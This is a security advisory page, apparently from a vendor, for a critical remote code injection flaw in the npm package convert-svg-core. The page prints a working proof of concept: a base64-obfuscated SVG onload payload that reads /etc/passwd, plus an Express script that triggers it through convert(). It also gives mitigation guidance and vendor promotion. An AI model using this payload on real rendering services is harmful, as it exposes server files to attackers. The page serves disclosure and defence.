GHSA-5gxc-fxcr-9326
CRITICALconvert-svg-core vulnerable to remote code injection
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
convert-svg-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an onload attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.
PoC
Payload
<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>
where the id attribute is the base 64-encoded form of
document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>');
Attack
const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
try {
const png = await convert(fileSvg);
res.set('Content-Type', 'image/png');
res.send(png);
} catch (e) {
console.log(e);
res.send("");
}
});
app.listen(3000, ()=>{
console.log('started');
});
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | convert-svg-core | all versions | 0.6.2 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for convert-svg-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update convert-svg-core to 0.6.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5gxc-fxcr-9326 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5gxc-fxcr-9326 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5gxc-fxcr-9326. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5gxc-fxcr-9326 in your dependencies?
O3 detects GHSA-5gxc-fxcr-9326 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.